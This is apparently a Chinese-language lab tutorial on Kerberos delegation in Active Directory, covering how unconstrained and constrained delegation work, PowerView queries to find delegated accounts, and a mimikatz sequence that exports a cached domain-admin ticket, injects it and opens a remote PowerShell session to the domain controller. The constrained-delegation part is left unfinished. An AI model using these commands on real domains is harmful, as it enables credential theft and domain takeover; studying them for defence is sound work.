0x00前言

昨天晚上在先知社区见到相关的Keberos委派攻击的文章。晚上在弄别的事情没有实验，早上抽空实验一波.

此教程文章只用于安全参考！！切勿使用技术违规操作！！

有什么其它问题地方可以私聊指出，谢谢。

0x01环境

Windows server 2008 R2:192.168.1.122 (AD)
Windows 7:192.168.1.107
工具：mimikatz、keke

0x02何为委派

先知社区的解释：域委派是指将域内部用户的权限委派给服务账号，使用服务账号能以用户的权限在域内展开活动
安全客机的解释：在域中如果出现一种使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派

0x03委派的分类

委派分为两种：

• 非约束委派
• 约束委派

非约束委派：
非约束委派在Kerberos中实现时，用户可以从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内部任意其他服务，所以被称为非约束委派。

约束委派：
由于非约束委派的不安全性，微软在Windows 2003中发布了约束委派的功能。约束委派在Kerberos中的用户不会直接发送TGT给服务，而是对发送给service1的认证信息做了限制，永久服务1代表用户使用该TGT去访问其他服务。这里包括一组S4U2Self（用户对自己的服务）和S4U2Proxy（用户对代理的服务）的Kerberos协议扩展。

0x04非约束委派的设置

在域中只有服务账户才能有委派功能，所以先把用户user01设置为服务账号。

setspn -A https/apache2.4 user01

之后在AD编辑查看用户可以看到，非约束委派设置好的标明

0x05约束委派的设置

把用户设置为服务账号

0x06两者设置后在AD EDIT的区别

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，并且msDS-AllowedToDelegateTo属性会包含被约束的服务

0x07非约束委派的发现

发现域中的委派主机或账户：

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。
查询域中配置非约束委派的账户：
Get-NetUser -Unconstrained -Domain <domain>
这里的PowerView是master分支的

查询域中配置非约束委派的主机：

Get-NetComputer -Unconstrained -Domain <domain>

0x08约束委派的发现

查询域中配置约束委派的账户：
（dev分支的powerSploit）

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

查看设置了约束委派的用户：

Get-DomainUser -TrustedToAuth -Domain www.haq.com

查询域中配置约束委派的主机：

Get-DomainComputer -TrustedToAuth -Domain <domain>

0x09非约束委派的利用

假设域控用管理员账号smb登录了某台域机器，那这个时候域管理员的TGT已经缓存在域机器
使用mimikatz添加内存

privilege::debug
sekurlsa::tickets /export

最主要的是这个（域管的TGT）

此时我们在没有凭证的情况下访问域控的共享C盘是没有权限的（图忘截了，下面的图顶替一下）

mimikatz引入凭证

privilege::debug
kerberos::ptt [0;2c06d4][email protected]
kerberos::list

之后我们可以使用Enter-PSSession获取一个shell

Enter-PSSession -ComputerName <主机名>(不能IP)

0x10约束委派的利用

利用条件：

已知当前配置了约束委派的当前账户的密码

通过已知的账户名和明文密码对KDC发起请求，得到TGT

使用kekeo申请TGS票据（我这里失败了）

所以下面的引入凭证，也不会认证成功